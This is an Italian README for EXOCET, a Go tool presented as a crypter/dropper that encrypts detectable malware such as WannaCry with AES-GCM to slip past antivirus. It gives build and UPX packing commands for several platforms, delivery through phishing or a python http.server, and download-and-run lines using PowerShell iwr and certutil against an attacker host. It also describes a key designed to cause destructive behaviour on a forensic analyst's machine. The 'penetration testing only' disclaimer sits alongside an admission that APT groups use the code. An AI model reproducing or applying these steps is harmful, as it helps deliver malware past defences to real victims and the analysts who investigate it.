EXOCET - strumento di consegna del payload che elude l'antivirus, non rilevabile
Chang Tan
AWS Certified Cloud Practitioner e Solutions Architect Associate
[email protected]
Assicurati di impacchettare i tuoi payload per evitare eventuali perdite della chiave del crypter e frustrare ulteriormente gli analisti malware. Un packer commerciale di alto livello come Themida NON è necessario. Solleverebbe ulteriori sospetti senza qualcosa come un certificato di firma del codice. Senza certificato di firma del codice, sui sistemi Windows, SmartScreen viene attivato automaticamente. Questa è la regola per tutti i programmi potenzialmente indesiderati o "PUP", ovvero tutti i payload malware, beacon, geacon, trojan ad accesso remoto, ecc., richiedono un certificato di firma del codice. I tuoi soldi sono spesi meglio per acquistare un certificato di firma del codice piuttosto che per un packer di alto livello.
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe
Quindi rilascia il payload sul tuo target. Usando qualcosa come un'email di phishing, un link, o se hai già accesso alla shell, consegnalo usando qualcosa come ospitare il tuo server localmente
python -m http.server 80'
e poi sulla macchina che stai compromettendo, esegui come prompt di PowerShell
iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"
oppure
certutil.exe -urlcache -split -f http://yourip/outputmalware.exe
e poi esegui con outputmalware.exe
EXOCET è superiore ai moduli "Evasive Payloads" di Metasploit poiché EXOCET utilizza AES-256 in modalità GCM (Galois/Counter Mode). I payload di evasione di Metasploit utilizzano una crittografia RC4 facile da rilevare. Mentre RC4 può decifrare più velocemente, AES-256 è molto più difficile da determinare l'intento del malware.

Tuttavia, è possibile utilizzare Metasploit per creare un payload evasivo e poi incatenarlo con EXOCET. Quindi EXOCET decifra tramite AES-256, e poi il payload evasivo di Metasploit si decifra da solo tramite RC4.
Proprio come il mio progetto precedente, DarkLordObama, questo toolkit è progettato per essere un veicolo di consegna/lancio, proprio come fa Veil-Evasion.
Tuttavia, EXOCET non è limitato a un singolo codebase o piattaforme che eseguono Python. EXOCET funziona su TUTTE le piattaforme e architetture supportate da Go.
EXOCET, è effettivamente un dropper di malware di tipo crypter che può riciclare payload facilmente rilevabili come WannaCry, crittografarli utilizzando AES-GCM (Galois/Counter Mode), che è più sicuro di AES-CBC, e quindi creare un file dropper per la maggior parte delle architetture e piattaforme esistenti.
In pratica...
Ciò significa architetture a 32-bit e 64-bit, e funziona su Linux, Windows, Mac, Unix, Android, iPhone, ecc. Prendi qualsiasi cosa, e intendo QUALSIASI cosa, come il Morris Worm del 1988 che quasi mandò in crash Internet (che sfruttava una falla nel demone listener fingerd su UNIX), e rendila nuovamente un'arma informatica praticabile.
EXOCET è scritto interamente in Go.
EXOCET, indipendentemente dal binario che usi per eseguirlo, richiede Golang per funzionare. Di default, genera un file .go crypter.
sudo apt-get update && sudo apt-get install -y golanggo get github.com/tanc7/EXOCET-AV-Evasiongo run EXOCET.go detectablemalware.exe outputmalware.go
Una chiave viene generata automaticamente per te. La chiave è lunga 64 caratteri ed è interamente composta da reindirizzatori di pipe di shell bash e cmd.exe per confondere e disturbare i tentativi di forza bruta contro la chiave causando comportamenti imprevedibili e distruttivi sul dispositivo dell'analista forense.
Per target Windows a 64-bit...
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
E viene fuori un file outputmalware.exe
Per target MacOS a 64-bit
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
Per target Linux a 64-bit
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
Vedi questo riferimento su github per i tuoi parametri per altri sistemi operativi come Android Riferimento per la cross-compilazione di Go
Nota che la chiave può ancora essere trovata con il comando strings, per favore usa il comando upx-ucl per impacchettare il binario e nascondere la chiave.
Inoltre, ci sono binari pre-costruiti che ho creato, il che significa che devi solo eseguire ./EXOCET o EXOCET-Windows.exe
Io, Chang Tan, e i creatori del modulo principale e dei sottomoduli di Exocet e dei pacchetti che incorpora NON siamo responsabili per l'uso improprio di questo strumento. Questo è semplicemente uno strumento di penetration testing. Ti è strettamente vietato distribuire binari di output di Exocet contro sistemi protetti non autorizzati o sistemi governativi protetti non autorizzati.
Sono consapevole che attori malintenzionati di APT41 e del gruppo NSO hanno utilizzato e/o adottato codice da questo strumento, in particolare il metodo go-memexec. Se dovessi essere avvicinato da investigatori federali riguardo all'uso improprio di questo strumento, non mi assumo la responsabilità.
Questa è la stessa cosa che è successa agli sviluppatori di Mimikatz e PowerShell Empire (che hanno deprecato il proprio sviluppo dopo aver realizzato il suo uso tra gli attori malintenzionati). I successori hanno ripreso lo sviluppo di Empire, e ci sono alternative gratuite come Covenant C2.
Il 4 maggio 1982, durante la Guerra delle Falkland, uno squadrone di Super Eterdard argentini lanciò un missile Exocet francese contro la HMS Sheffield. Nonostante i tentativi della Royal Navy di fermare il missile, uno colpì, affondando la Sheffield. Quell'incidente mise letteralmente l'Argentina sulla mappa come dimostrazione di forza contro una potenza coloniale globale.